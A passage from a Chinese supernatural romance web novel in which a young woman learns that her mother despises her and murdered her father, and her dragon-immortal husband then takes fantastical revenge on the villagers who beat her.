我瞬间怔住,视线透过门缝望进去,只见宋花枝坐在对面窗户下赌气噘嘴,母亲正拿着梳子慈爱地给她打理长发。
不久,母亲没有温度的嗓音飘出来,灌进我耳中:
“你打她,她身边那位龙仙能放过你?说不准还会给我们月阴村带来灭顶之灾!
你啊,妈早就和你讲过,要耐下性子,别这么毛毛躁躁藏不住事!
龙仙是为了她才下山的,我们暂时还不能招惹她,把她哄好了,还能趁机求那位龙仙再为我们月阴村做几件事。
你想啊,她在月阴村,龙仙就在,龙仙在,咱们村子想要什么,不就是龙仙一句话的事吗?
现在外面不太平,咱们得利用龙仙,保我们阖族平安。”
姐姐指尖绕着胸前一缕青丝,眼中一亮,回头望着母亲问:“所以妈你去哄她,只是为了借她利用龙仙?你不是心疼她?我还以为妈你不要我了呢……”
“怎么可能?你可是妈的心尖尖!你打小就天赋高,学什么会什么,和妈小时候简直是一个模子刻出来的。
原本,妈是想,就算你是骨仙转世,命中注定要做守族仙,有妈在,妈也能保你周全,让你做咱们九黎族最尊贵的女人。
鸾镜啊,她自小就与我不亲,眉眼和我也不怎么像,这孩子死心眼,又不聪明。
妈念着她好歹是妈的亲闺女,既然学不会咱们九黎族先祖传下来的本事,就把她送去外面上学,混个学历,以后也好有个养活自己的手艺。
谁能想到,她竟然才是骨仙转世,你才是我的亲闺女。早知道我就不该让你修炼长生媚术,该出去上学,有大好前程的是你,她才该留在九黎族还债。
可惜现在后悔已经晚了,她嫁给了龙仙,我们就不能再动她,不然那位龙仙是不会放过我们的。”
花枝听完露出满意的笑容:
“我就知道妈你最疼我!不过,我还是觉得做守族仙挺好,族里人都对我唯命是从,我招招手就有一堆男人过来给我办事,为我当牛做马!这么尊贵的身份,凭什么让她得了便宜。”
妈耐心地给她梳理长发,叹道:“做了守族仙,就一辈子也不能离开九黎族,是需要付出代价的。”
花枝在妈面前装得乖巧:“妈你放心,我早就答应过你,绝不会离开九黎族。”
妈拍拍花枝的肩:“妈知道,你是妈的亲闺女,妈怎么可能连你都不相信。
孩子你放心,按照妈教你的方式修炼,你是有机会重新练成长生媚术的,就算练不成,也能保村里人不再继续变老……
你借助他们的阳气修炼,等将适合你的媚术练到炉火纯青,你想对付谁,都只需要动动手指头就能办到。
届时,你就是我们月阴村的保护神。”
花枝满脸憧憬地托腮开心道:“到时我第一个要收拾的就是宋鸾镜那个小贱蹄子……妈,我想要龙仙,为什么嫁给龙仙的不能是我!”
妈摸摸花枝的脑袋:“等你修炼有成,自然就能魅惑龙仙,龙仙迟早是你的囊中物。”
“那妈,你以后不许让宋鸾镜抱你,你今天还喂她吃药……你只能是我妈妈,她就是个来历不明的野种!”
“都是演戏罢了……今天她和我说,她很爱我,我只觉得,很恶心。不过是迫不得已地配合她表演母女情深,她还真以为,自己是我女儿了。”
一阵寒风扫面,我听完已是满脸泪水。
原来都是演戏啊……只有我自己傻傻当了真。
我果断转身,把饺子原路端了回去。
进东院后擦干眼泪,晚上六点一到,我就去厨房起锅烧水下饺子。
龙仙应该快回来了吧。
热腾腾的饺子刚出锅,院子里就扫进一股卷着枯黄落叶的旋风。
下一秒,男人的身影就出现在了厨房门口。
我放下漏勺,赶紧跑出去迎他。
刚凑到他跟前就闻到了他身上有股挺重的血腥味……
看来真让李大叔给猜到了。
我二话没说拉住他胳膊就把他往堂屋里带:“你跟我来!”
他一怔,老实地允我扯着他进屋,再把他按坐在梨花木椅子上。
我拉开桌子的抽屉,从里面翻出早就准备好的消毒水和止血药,转身信心满满地面向他,对上他染笑的如画眉眼,坚定道:“来吧!哪里受伤了,我给你处理一下!”
他弯唇邪魅一笑,手臂撑在茶几上,歪身凑近我几分,上挑的凤目眸华潋滟:“你怎么知道本尊受伤了?”
我吞了口口水,如实回答:“你一身腥味。”
他瞥了眼我手里东西:“这个,怎么解释?”
我哽住,看他现在心情还行,就坦白道:
“李大叔告诉我的……不过是我先和他说你不在家,他才猜测你可能是出门打架去了。他没有恶意,他还提醒我,让我记得帮你处理伤口来着……”
他听罢,倏然又沉笑出声,挥开广袖温和说:“本尊没事,别担心。”
可我却眼尖捕捉到他袖角的大片深色痕迹。
他今天穿的是件深青色衣袍,所以即便染了血,也不怎么明显。
“怎么可能没事,你袖子上全是血!”我不管不顾地一把捞住他手腕,掀开他被血浸透的袖摆……
但,他胳膊上只有一条浅浅的细长血口子,像是被什么锋利东西不小心划伤的……
这个伤口,出血量……不至于这么大啊!
难道是他身上还有别的伤?
我不放心地把他袖子推至肩头,抓着他的胳膊上下左右仔仔细细检查一遍,也没找到第二处伤口。
而且他只是袖摆染了血,手臂上白皙干净,一点污渍都没有!
“你到底伤在哪了?”我一头雾水地问他。
总不至于是在前胸与后背吧,出血的位置也不对啊。
他痴痴瞧了我一阵,倏然笑出声,抬手点了下我的鼻头,满眼柔光:
“这血不是本尊的,是灰狐狸的。本尊浑身上下只有胳膊上有道伤口,是被他头发划的。”
我疑惑追问:“啊?他头发这么锋利的吗?”
龙仙挑眉颔首:“嗯,他的长发可以变成万千根细长丝线,能瞬间把敌人切割成一万块碎片。”
我听得头皮发麻,背上一阵寒凉。
搓搓胳膊上的鸡皮疙瘩,我庆幸道:“你没事就好。”
想了想,我伸手扒他外袍:“你把外衣脱下来吧,腥味有点重,你穿着肯定也不舒服。”
“嗯。”
他起身,安静允我脱他袍子。
脏掉的外袍放在旁边椅子上,我抓住他受伤的胳膊,带他到灯光下坐着。
“你把袖子卷上去,我给你这道伤口上点消毒水。”我轻声说。
他望着我,目光渐深:“小伤而已,不需要处理。”
我一本正经说:“那也不能大意……狐狸身上说不定有什么病毒,万一得破伤风了呢。”
见他迟迟没动手,我就帮他把宽大的袖子撸了上去,低头边给他上药,边和他说:
“去年冬天我跟了个古装剧剧组进山拍戏,那部戏有一段剧情需要用到活狐狸,道具师傅就在市里一家小动物园租了一只性格温顺的大白狐狸运了过去。
那白狐狸平时可乖了,我们随便撸都不生气,但组里有个女演员手欠,总是跑过去开直播拍它,扯它耳朵。
有一天晚上,那狐狸正睡着觉呢,她伸手就去扯狐狸耳朵,正好狐狸有起床气,就一口咬在了她的手背上,给她咬得鲜血直流。
剧组的后勤连夜开车带她去市医院看的伤,打了好几针药水呢!
医生后来还给她补了一阵狂犬疫苗,给我们科普说,被狐狸咬了也有可能得狂犬病,不管是猫科动物还是犬科动物,都有携带狂犬病毒的风险。
如果是不小心被狐狸抓伤,也要及时消毒,不然就算没有感染狂犬病毒的风险,也有得破伤风的风险。
那只狐狸还是动物园的家养狐狸呢,可比今天和你打架的野狐狸安全多了!野兽身上的病毒更多!”
处理完,我重新将他袖子拉下来,遮住他的手臂。
他收回胳膊,整理袖子,意味深长道:“夫人难得和本尊说这么多话。”
我哽住,攥着医用消毒酒精不好意思地问:“你、会不会嫌我话多……”
“当然不会。”他抬手刮了下我的鼻尖,温柔回应:“本尊喜欢听夫人说话,喜欢和夫人聊天。”
我脸红低头,心跳的,有点快。
他笑着逗我:“本尊身上也有毒,狐狸毒不死本尊,本尊却能毒死狐狸。”
“啊?”我惊讶看他。
他眸光明媚地向我招了招手,示意我靠近他。
我好奇凑上去,他却突然伸手捞过我的脑袋,薄唇吻在了我的唇上……
呼吸交缠,唇瓣炙热。
我的心,陡然跳得更快了……
唇畔的柔软让我不禁生出了几分贪恋……
只是,他的手掌按在了我脑袋上的伤处,力度稍重,疼得我无法沉沦进他的柔情里。
他深情凝望着我,正欲阖目用力吻我,忽眉心一皱,大手迅速从我脑袋上移开——
“阿鸾,是谁伤的你!”
第14章 龙仙大人的原形很可爱
我一愣,睁开双眼,意外地看着他:“你怎么知道……”我脑袋上有伤?
他立即抬手聚拢法力,盈盈神光罩在我的脑袋上,帮我驱散脑壳内的丝丝疼痛。
我低头趴在他肩上,手攥着他的衣襟迟迟不肯松开。
片刻后,他收回掌中灵光,我的脑袋也不似先前那样昏沉闷痛了。
他见我趴在他身上没有要离开的意思,沉默几秒。
大手扶住我的后脑勺,压着怒意轻声追究:
“阿鸾,告诉本尊,是谁伤了你的脑袋?”
我埋在他肩上不说话,想起白天的事,既糟心又难受。
他并没有因为我的沉默更暴躁,反而拍着我的后背,又将清澈磁性的嗓音压浅几分,语气柔和地耐心哄我:
“阿鸾,本尊不是不讲道理的人。本尊询问前因后果,也只是不想本尊心爱之人在外受了欺负,可本尊自己却连凶手是谁都不晓得。
本尊清楚,在阿鸾的印象里,本尊这个龙仙杀人不眨眼,是无恶不作的妖魔。阿鸾不敢告诉本尊,无非是害怕本尊因为阿鸾大开杀戒……
阿鸾,本尊答应你,只要是你不想让本尊杀的人,本尊绝不会要他性命。本尊只想让阿鸾明白,阿鸾现在和以前不一样了,阿鸾受了委屈可以不用忍,本尊会给阿鸾撑腰。”
说着,大手小心翼翼顺着我的长发从我脑后抚至腰间——
“阿鸾心善,不计较别人一而再、再而三的伤害,阿鸾总想以德报怨,可却不明白,这个世上人心险恶,贪欲极重。
一味忍让只会换来对方更没有底线的索取逼迫,你在选择做个善良的人之前,首先得有自保的能力。
如果没有承受被善良反噬的能力,就不要想着,伸手去救赎他人。
因为抓住你指尖爬上深渊的,很有可能是一只恶魔,甚至……是一群恶魔!”
是啊,月阴村的这些男人,就是被我拽出深渊的恶魔……
从小到大都没人这么教过我,母亲只会告诉我,做人要懂得感恩包容。
母亲说,身为九黎族的族人,要学会为九黎族奉献自己。
作为九黎族族长的女儿,必要时刻更应身先士卒,哪怕我在外面落了脚,九黎族也是我的根。
所以三年前,在我拿到大学通知书的那个晚上,我妈怕我被外面的世界迷了眼,离开月阴村就不想再回来了,特意开了祠堂大门,点香让我在列祖列宗的牌位前发誓——
只要九黎族需要我,不管何时,我身处何地,都要立马赶回九黎族。
没有母亲的同意,我不能在外地买房,更不能谈外地的男朋友。
否则,就天打五雷轰,死无葬身之地,永生永世万劫不复……
老六叔说,我妈逼我发这种毒誓是为了保护我,毕竟我年轻,外面的人心思复杂,我脑子笨性子直,容易被那些渣男花言巧语欺骗到。
那时我信以为真,总觉得我是母亲亲闺女,母亲做的一切都是发自内心地想为我好。
现在才恍惚明白,原来母亲根本不是担忧我,她只是怕我脱离她的掌控,怕我真从月阴村这个阴暗肮脏的地方解脱出去……
难怪,她明明知道我和村长家的赵二走得近,也从不阻拦,甚至还会有意无意的给我们制造见面独处的机会。
想起母亲帮花枝梳头时的疏冷眉眼,她说……她只是在和我演母女情深,我就忍不住心酸难受。
我不懂,为什么这些年来我努力学着更懂事,更体贴母亲,母亲却还是不喜欢我。
就因为花枝比我聪明,比我对月阴村更有价值么……
不知是龙仙大人的话让感动在我心里发了芽,还是我被母亲下午的话伤得太深了,我趴在他肩上安静没多久,突然没忍住趴他怀里低声抽泣了起来。
他也被我的哭声惊得提起心,抚在我背上的手一顿,半晌后才轻拍我肩膀低声安慰:“罢了,不想说就算了。你不告诉本尊,本尊也有法子知道下午发生了什么,本尊答应你,不杀人。”
不杀人……不代表不报复。
我胆大地把眼泪全蹭他衣袍上,趴在他耳边和他告状:
“是李三!就是上次被你从我房中吓跑的那两个男人中瘸腿的那个!另一个今天也想欺负我,叫王麻子,但他没来得及下手!
中午我去李大叔家蹭饭,回来的路上被李三和王麻子带人给拦住了。
他们说要替花枝和整个月阴村的村民教训我,责怪我没有早点承认自己才是骨仙转世,让他们认错了人,害他们被长生媚术反噬,失去长生不老的能力,还差点丢了小命。
他们一个个可凶了,银杏把李大叔搬出来都没吓唬得住他们,李三领头往我脑袋上挥了一棍。
我本来想用你教我的咒语自保,但我妈突然过去了,我妈训斥了他们一顿,把他们骂了回去。
我妈还让李三给我磕了三个头,叫我答应不找你告状,说这件事就这么过去了……”
“李三?”龙仙听完,寒着俊脸攥紧大手,一时五指关节捏得咯吱咯吱响,吓得我浑身竖汗毛。
过了四五秒,他索性将我抱过去,放在腿上,在我诚惶诚恐不知所措时,把温暖的手掌罩在我脑壳上,心疼不已:“你这颗脑袋,就值别人三个响头?”
我一听这话更委屈了,红着眼眶小声嘀咕道:“我本来想让他多给我磕几个的,但我妈发话把人撵走了……”
龙仙大人没好气道:“你不会以为你母亲会给你撑腰,为你出气吧?”
我低头底气不足地开口:
“她不会……是我太蠢,我以为我妈还是疼我的。我也是刚刚才知道,她帮我骂走那些想打我撒气的男人,是因为害怕你知道了大发雷霆。
她帮我查看伤势,给我倒水喂我吃药,只是在配合我演母女情深。我在她眼里,就是个来路不明的野种怪物,只有花枝才配做她亲女儿。”
龙仙安静听我倒苦水,等我说完,抚着我的长发怜爱道:
“宋淑贞是个心思重的女人,她很现实,谁对她有用,她就偏向谁。
女儿对她而言,只是个振兴九黎族的工具,宋淑贞原本的打算应该是将你姐姐培养成守族仙,再让你继承她的衣钵,做九黎族下一任族长。
可无论是守族仙还是族长,都并非好身份,注定要为九黎族卖一辈子的命。
她这种天性薄情的女人,连丈夫都能痛下杀手,更何况是你这个长得不像她,性子也不似她的女儿了。”
“连丈夫都能痛下杀手?”我不敢置信地追问:“你这话是什么意思?我爸当年不是上山打野兔子失足掉下山崖摔死的吗?”
他体贴用指腹帮我按摩哭红的眼眶,冷下眸光道:
“是失足摔死的,但那天他出门前,你妈往他身上贴了一道符,他上山后眼前出了幻觉,以为前面有兔子,就一路追着假兔子跑到了崖边,一脚踩空掉了下去。
那天本尊在山里打坐,他就摔死在本尊的眼前,血差点溅脏本尊的袍子。”
“什么?”我瞠目结舌道:“我妈、为什么要……害死我爸?!”
那可是她同床共枕的丈夫啊!
“阿鸾还不懂么?你父亲存在的意义,就是让你母亲借种。
你母亲需要一个孩子,但却不能找月阴村的男人生,你父亲是外乡人,是最适合与她孕育后代的人选。
等她腹中孩子胎像稳了,你父亲就没有必要活在世上了。”
他勾起我肩头一缕青丝绕指把玩。
我坐在他怀里,双臂抱在他肩上,越听越糊涂:
“为什么我妈不能找月阴村的男人生孩子?村里不是有条不成文的规矩,凡九黎族人,男性可以娶外乡人当老婆,但女性却不能和外乡人通婚吗?”
这个问题困惑了我十来年,妈说月阴村的姑娘都是不能嫁出村落的,只能和本村人组建家庭。
但我妈当年却能和外乡来的我爸结婚,我以前猜测,可能是因为我爸答应倒插门,是入赘进我妈家,所以我妈不算外嫁。
或者是因为我妈是族长,在月阴村里位高权重才可以破例违反族规自由婚嫁……
可龙仙现在这么一提,我突然感觉事情好像不是那么简单了。
“月阴村三百年前就气数将尽了,阿鸾没发现么,月阴村已经很多年没见到新生儿了,村里这么多户人家,老掉牙的一大堆,可幼童却少得可怜,而且一个个身体都差劲得很。”
他亲昵地将唇贴在我耳根处,吻了吻,浅浅道:
“月阴村的男人,那东西质量不行,女人即便有了孩子,也要么孕期什么都没干就流产了,要么孩子刚出生便夭折,活下来的极少。
这也是你母亲铤而走险,执意要把骨仙炼成守族仙的原因。长生媚术能让那些人长生不老,只要月阴村没死光,九黎族就不会灭族绝种。”
难怪我妈要找个外乡人结婚怀孕,原来是想借外族人的基因增加后代的生存率。
我被这个真相给震得许久没缓过神,龙仙抱住我叹口气,温柔低吟:
“九黎族与你渊源颇深,虽然族中灵气早已不如千万年前充盈,但对你的魂魄还是大有裨益的。当年若不是为了给你修复魂魄,为你争取一线生机,本尊绝不会将你送来月阴村。阿鸾,这些年苦了你了。”
我和九黎族渊源颇深……难道我上辈子就和月阴村有什么牵连?
我乖乖坐在龙仙怀里安静下来,龙仙抚慰好我的情绪,想了想,牵住我的手要带我出门。
“这么晚了,我们去哪啊?”
“本尊去给你撑腰,帮你报仇!”
“可是,我锅里还煮着饺子……”
“回来再吃。”
“回来都烂了……”
“不会,本尊有分寸。”
“啊?”
幸好我早就熄了火,等从外面转一圈再回来,饺子烂锅里的概率倒是不会特别大,但肯定都凉在锅里了……
到时再添一把火,不知道饺子还鲜不鲜了。
我记得自己没和龙仙说今天堵我路的人具体都有谁,可龙仙竟未卜先知地带我找到了和我家住得最近的刘彪家——
龙仙牵着我的手缓缓降落在刘彪家屋顶上时,刘彪正和他老婆在东边屋里吵架。
“整天都惦记着族长家的那个小妖精,她把你的魂都给勾走了!
以前你打着帮我和儿子要圣女洗身水的幌子隔三岔五往那个小妖精屋里跑也就算了,现在那个小妖精的洗身水不管用了,你和她睡觉,只能保你一个人不变老,我们娘俩一点便宜都占不上了,你可真是打得一手好算盘!
撇开我们娘俩,你一个人长生不老,以后想怎么潇洒就怎么潇洒!”
“你嫉妒也没用,怪只怪你不是个男人!你也别总拿孩子说事,我是孩子亲老子,我还能不想着让孩子好?
我已经决定了,等孩子星期天回家,让他去找花枝玩一玩,这样我们爷俩就都不会变老了!
至于你,你放心,你给我操持家务养孩子,我不会亏待了你,等你老死了,我给你挑块风水好的坟茔地埋进去!”
“好你个死刘彪,现在就盼着我老死了,你没良心!呜呜,我的命怎么这么苦啊,嫁了个负心汉!你等着,我不能长生不老,我也不准你再去找那个小妖精了,我们要死一起死!”
“死婆娘,你半夜三更发什么疯!滚!再挠我我一板凳砸死你!”
屋里一顿叮叮咣咣后,刘彪老婆趴在窗边哭得死去活来,刘彪自己则叼着根烟火气冲冲地往屋后旱厕去,边走嘴里还边骂骂咧咧……
身边一阵阴风扫过,我扭头,却不见龙仙大人的身影。
我好奇环顾四周,竟在刘彪进了旱厕后,发现旱厕门口出现无数条赤环毒蛇。
毒蛇蠕动着身躯,迅速往旱厕门帘下方钻去——
没多久,旱厕里就传来刘彪惨叫声。
刘彪拎着裤腰带逃命似的掀开门帘跑出来,可惜人还没逃出菜园子,就被一条身披青光鳞甲、额心一抹妖异朱痕的粗壮大青蛇给拦住了去路……
青蛇不悦地眯了眯金色竖瞳,眼神冷厉地缓缓逼近刘彪。
刘彪被吓得两腿一软瘫倒在地,之后又疯狂揉眼睛:“我的妈呀,我这不会是在做梦吧!怎么会有这么大的蛇!蟒蛇!”
大青蟒挺直胸脯居高临下地俯瞰他,下一秒,一尾巴甩在了刘彪的胸口,生生把刘彪砸吐出一口老血——
紧接着,大青蟒长尾卷在刘彪一条腿上,用力将刘彪的腿往胸口一压。
只能咔嚓一声脆响,刘彪的腿就这么被大青蟒给卸了……
而刘彪本人惨叫一声后,就没出息地疼晕了过去。
大青蟒缓缓收回灵活的长尾,给了附近的赤环蛇们一个眼神,下一秒赤环蛇们就纷纷爬上刘彪的身体,不过片刻就把刘彪活埋在了蛇堆里。
我默默搓了搓胳膊上的鸡皮疙瘩……这一幕看得我密集恐惧症都快犯了。
身后又是一阵阴风袭过,我回头,正对上大青蟒那双金灿灿的竖瞳……
目光相接,青蟒怔了怔,瞳底金光褪散,变回往日的青眸。
他的眼睛……是只有在发怒的时候,才会变成金瞳吗?
青蟒见我盯着他不说话,微微低头,温和说:“你怕我这副模样?那我变回去。变成人,你就不怕了……”
“没有!”我恍然回神,连忙解释:“我不怕,你忘了吗,我小时候就不怕你的原形,更何况我现在都长大了……我只是觉得,你的原形真好看,你身上的鳞片,像宝石一样!”
“你喜欢?那我拔几片给你。”他说着就要用尾巴薅自己的鳞,“胸口的鳞片最有光泽,我给你拔护心鳞。”
“别!”我一惊,当即扑上去抱住了他的尾巴不许他乱动,着急道:“我只是夸你鳞片好看,没想把你的鳞占为己有,你傻不傻啊!鳞甲连着肉,你拔自己鳞片和割自己的肉有什么区别?!”
他眼底凝出一片明媚笑意,性情温和地用尾巴尖尖撩开我额角碎发,尾端缠绕在我的手腕上,深情道:“只要是夫人想要的,本尊都给得起。夫人喜欢本座的鳞,本座很开心……”
他们动物仙是有什么特殊癖好吗?为什么我喜欢他的鳞,他也会开心?
不过,为了预防他还想薅自己的鳞送给我,到时万一下手没个轻重伤着了自己,我还是搂着他的尾巴郑重其事向他嘱咐了一番:
“我喜欢的,是长在你身上的鳞,你不许乱薅!薅下来我就不喜欢了!你如果真想满足我的喜好,以后就多变几次原形给我看……让我摸摸你的鳞就够了。
对了,我有强迫症,以后要是让我发现你身上的鳞片哪一处缺了少了,我就再也不理你了!我、是真会生气的!”
他闻言低声轻笑,抬眸深深看了我一阵,突然探头,用自己的蛇脸蹭了蹭我的脸,这种行为……像极了小宠物在找主人撒娇。
幸好我生在九黎族,打小就不怕蛇,不然换正常女孩,估计早就被这么一条庞然大物给吓晕了。
我捧着他的脑袋也乖乖蹭了蹭他……如果他不变回人形,倒是真可以带在身边做条小宠物。
龙仙大人的原形,好可爱!
亲近够了,他昂头问我:“要不要爬上来,本尊带你在天上飞一圈?”
我愣了两秒才反应过来他是什么意思,有点心动,又有点不好意思,对着手指小心翼翼地问他:“真的、可以吗?那样会不会太冒犯了……”
他毕竟是仙家,让我爬到他身上,的确太不尊重他了。
他却在我犹豫不决时直接用长尾卷住我腰肢,把我拎起来放在了他的后背上,好笑道:
“都是夫妻了,谈何冒犯。阿鸾,抱紧本尊,本尊带你翱翔九天。”
我啊了声,下一瞬他就腾飞而起,吓得我连忙抱住他的脖子趴在他背上不敢昂头——
扑面的夜风袭乱了我的长发,他没有双翅却可以自由游弋在云空之上,带着我从皎皎白月下飞身掠过,行动之自如,真像一条威武霸气的青龙。
等他飞得平稳些了,我才壮起胆子低头看缥缈云雾下的人间。
山川河流此刻在我眼中仅有芝麻大小,遥不可及。
而星辰明月却在我头顶,伸手可摘。
“飞起来的感觉真好!龙仙大人,你好厉害,可以飞这么高!”我欣喜的坐在他背上抬臂捞流云。
他眼底笑意温浅:“阿鸾,今夜之后,就忘掉那些不开心的事吧。前路再难走,都有本尊陪着你。”
我僵住,心下一时五味陈杂,点头答应:“好。”
他带我在天上兜完一圈风后还不忘继续去找剩下几个王八蛋算账。
陈二爷家里是开扎纸铺的,夜里九点钟声敲响,陈二爷愣是被自家院子里一堆没点睛的纸人给追得楼上楼下到处跑。
陈二爷的老婆也是头次见到这种阵仗,当场两眼一翻,被吓得晕死了过去。
陈家儿子以为是他爸得罪了哪方阴灵,着急忙慌就点了三炷香塞给他爸。
他爸接过香后又是拜门神又是拜八方神,但在拜到龙仙大人这个方向时,手里的三炷香陡然从中折断了!
陈二爷瞬间瘫跪在地,目中无神地不停念着:“完了,大难临头了,完了……”
大难临头不至于,小难是得受一受。
后来,陈二爷在被纸人追逐的过程中失足一头栽下楼梯摔断了左腿。
又被自己亲手扎的红绿纸人用麻绳勒着脖子吊在了树杈上——
而赵黑子那边的下场也没比陈二爷好到哪里去。
赵黑子今晚睡得早,我和龙仙大人过去时,他已经躺在自家东屋里睡死过去了,呼噜打得震天响。
人既然没醒着,龙仙大人便未多折腾,只是一挥袖子,在赵黑子脸上化出一张黄纸……
赵黑子被黄纸堵住鼻孔,打着呼噜一口气没上来,生生憋醒。
可两眼一睁,人已经被龙仙大人送进了乱葬岗,还捎带附赠他三条成年大野狼——
“狼、狼!我的妈呀!救命啊!”
赵黑子梦中惊醒,爬起身拔腿就跑,可没跑几步就被一块石碑给绊摔在了荒草地里。
回头一看,石碑上赫然写着三个醒目的血字——
“死人摊!啊——”
第15章 龙仙他,不能生……
看着赵黑子撒腿狂奔拼命逃命的背影,我犹豫低喃:“咱们这样做是不是有点狠了?”
龙仙大人化成人形立在我身后,青眸阴冷,“他们几个年过半百的老东西对你一个手无缚鸡之力的小姑娘下手的时候,可曾想过自己这样做,太过心狠?”
“阿鸾,对伤害你的人仁慈,就是变相地帮他们伤害你自己。”
龙仙大人的话……很有道理!
“你说得对,既然他们都不曾对我心慈手软过,那我为什么要怜悯他们,这都是他们应得的惩罚。”
龙仙大人捞住我的手,温柔握在掌心,“走吧,该去找那两个最无耻的算账了。”
我默默攥紧他的玉指,点头:“好。”
王麻子和李三已经不止一次欺负我了,因此龙仙大人对他们的报复也更狠。
夜半时分,王麻子端着一盆剩饭出门喂狗。
大**看见他,尾巴在身后兴奋甩得哗哗响。
王麻子将铁盆丢在树下,一脚踢开蹭上去求抚摸的**,冷漠道:“快吃吧!要不是看你还有点看门防贼的用处,我早就把你卖给狗肉馆了!一天天的,这么能吃!家里多少剩饭啊,都不够喂你的!”
“去年粮食本来就收得少,家里多张嘴吃饭就多个负担!
**,李三那个王八蛋说好和我一起上山挖草药卖,结果他自己爬上山把那几株草药都给拔光了,一株也没给我剩!
该死的李三,腿都瘸了还跑那么快,死瘸子心眼就是多!”
说到气愤处,又一脚狠狠踢在大**腹部,不甘心地啐道:“成天就知道摇尾巴,烦都烦**!”
大**被踹得倒在地上哼哼唧唧。
蓦然抬头,看见出现在王麻子身后的我与龙仙大人,瞬间吓得双耳后拉,瑟瑟发抖地哼唧着往树后退……
王麻子还没有意识到自己将要倒大霉了,见狗被吓成这样,冷笑着骂道:“瞧你这点出息!”
说罢拢了拢披在肩上的外衣,又回头要往屋里去——
但,他刚走到堂屋门口,抬脚要跨过门槛,两扇木门就哐的一声自动关闭,将他挡在了门外。
他一颤,站在门前好奇嘀咕:“今晚的风有这么大吗?”
伸手推门,却发现怎么用力都推不开……
正在他迷茫疑惑时,大门上的两副门神像陡然金光大现,一道神力就将他打飞出去……
王麻子砰地一声砸在门外泥土地上,摔了个四脚朝天,惨叫连连。
然没等他扶着老腰缓过神,夜幕里便吹来了缕缕薄烟,远处一束明光打到他的脸上。
他抬手遮眼,扭头适应半晌,才看见站在白烟深处的我和龙仙。
“谁、谁啊……”王麻子颤声询问。
我面无表情地逆光走近王麻子几步,王麻子努力睁大眼,几秒钟后,壮起胆子愤怒斥骂:
“宋鸾镜!大半夜的你来我家干什么?!还装神弄鬼的,是不是皮又痒了!”
可惜,这次我不是一个人孤立无援,我身后还有龙仙大人。
王麻子看清我后,说话越来越难听不把门:
“小**,你深更半夜往男人家里跑,不会是后悔了,也想像你姐姐一样,伺候麻子叔吧!你想通了?打算修炼长生媚术了?
对嘛,这才听话,嫁给一条龙有什么意思,他是怪物,他懂心疼你吗?他能满足你吗?既然你已经投胎成人了,那就要和我们融为一体,我们才是一类人!”
他边说,边撑着身体从地上爬起来,拍拍一双脏手,抬臂要揽我:“走,进屋,叔今晚带你享受人间极乐……”
脏手还没来得及碰到我,我身后就突然冒出一抹庞大霸气、威武凶猛的身影……
青龙的影廓被清冷月华投落在我的脚下,我垂眼,却看见龙仙大人的影子和先前……好像不大一样了。
那道影子,有龙角,且还比原来的蛇身粗壮高大数倍!
我诧异扭头,只见身后的龙仙大人身披青鳞,沐着月光直起脊背挺立在清明月影下。
龙仙大人原形的面部轮廓已完全变成了神话传说里龙的模样,蛇身多了四只龙爪,蛇尾也呈扇形,尾部青色毛发流光溢彩,龙目囧囧,金眸熠熠。
额角生出两只树杈状的龙角,外形与气质与先前截然不同。
唯一不变的,是眉心那抹灼艳的赤色印记。
龙仙大人原来有两种动物形态!
不,应该说,是神兽形态……
王麻子愣站在原地,目瞪口呆地盯着龙仙大人,欲要揽我肩膀的手僵在半空。
几秒钟后,惊恐慌张地扭头就朝堂屋门外跑:“龙、龙仙……青龙仙下来了!”
一头撞在紧闭的屋门上,王麻子吓得连鞋都跑掉一只,疯狂抬手拍门,意图向屋里的老婆孩子求救:
“孩他娘!大头!救命啊,青龙仙寻仇来了!快开开门让我进去啊!”
奈何无论他怎么拍门扯着嗓子哀嚎求救,屋里都没有任何动静回应他。
毕竟,这可是龙仙大人设下的幻境,他现在根本不处于现实空间里,他老婆孩子当然听不见他的喊叫。
拍了好一阵都不见有人给他开门,王麻子害怕地停住手上动作,翻身靠在两扇木门上,抖着双腿面色苍白地惊恐望向我身后的威严龙神,拖着哭腔求饶:
“青龙仙饶命啊,我知道错了,我以后再也不敢欺负小鸾镜了……青龙仙你别杀我,别杀我……我还不想死哇——”
龙仙大人冷哼一声,威仪开口:“管不住下半身的畜生,不如废了!”
言出法随,王麻子顿时捂住裆部瘫跪在地,叫得更是凄厉了……
不过片刻,男人身下便已一片血泊,而他自己也两眼一翻疼晕在了自家门口。
“这就晕了?真是脆弱。本尊还想多踹他两脚呢!”青龙矮身,眸光温和地将头送给我:“想摸龙角?给你摸?”
我伸手,不客气地抚了抚他冰凉如玉的两只大龙角,意外道:“你真是一条龙!”
龙仙大人阖目,温顺允我摸个够:“不然呢?你都叫本尊龙仙了,本尊还能是别的物种?”
我还是好奇:“可你先前……像条蛇。”
龙仙大人睁开华贵金瞳,傲娇挑眉:“是龙是蛇,有区别吗?”
我连忙摇头:“没区别没区别!只要是你就行!你刚才突然变成龙,我差点没认出来。”
“蛇不够吓唬人,化回龙,本尊才好帮你震慑住这群愚蠢的人类。”
“我也是人……”
他顿了顿,说:“你不一样,我夫人是天底下最聪明的姑娘。”
龙仙大人竟还会哄人……
王麻子的命根子没了,以后就再也不能借助宋花枝容颜不老了。
至于李三,他白天才惹的事,晚上见我龙仙大人和我一同出现,瞬间就明白我俩是找他寻仇去了。
“龙仙大人,我错了,我以后再也不敢了!别杀我、别杀我!”
李三翻身下床跪在地上脑门子磕得砰砰响。
龙仙大人抬手化出一把擀面杖,递给我,沉声吩咐:“阿鸾,打回去!”
我也不矫情,接过擀面杖就一棍子用力挥在了他的脑袋上。
李三那王八蛋顿时搂着头惨叫哀嚎了起来。
我攥紧擀面杖嗤笑:
“你也怕疼啊!你也怕死啊?!李三,我和你无冤无仇,就因为你们贪心不足,你们就要一而再再而三的伤害我!从头到尾,我有做错过什么吗?你们凭什么那么欺负我!”
李三抱头疼得猛抽冷气,事到如今还敢理直气壮地谴责我:
“宋鸾镜,你这个小**说话不算话!你答应过我,白天的事就那么过去了,我还给你磕了三个响头呢!没想到你这么快就出尔反尔,带着青龙仙过来找我报仇,你无耻!”
“我无耻?呵,对,你们清高!那倒是别敢做不敢认啊!你们可是想要我的命,我的命难道只值三个响头?”我抓紧手里的粗木棍,恨不得再给他来上一棍子。
“你本来就是我们村的人!是我们九黎族的后人!我们村对你有恩,你就是这么报答你恩人的?再说,你要是肯老老实实做我们的圣女,为我们修炼长生媚术,我会想要你的命吗?”李三强词夺理地忍痛大吼。
“你!”我气急想要上前争辩,却被龙仙大人握住手腕拦了下来。
龙仙大人拂了拂墨青华贵的广袖,语气森冷道:
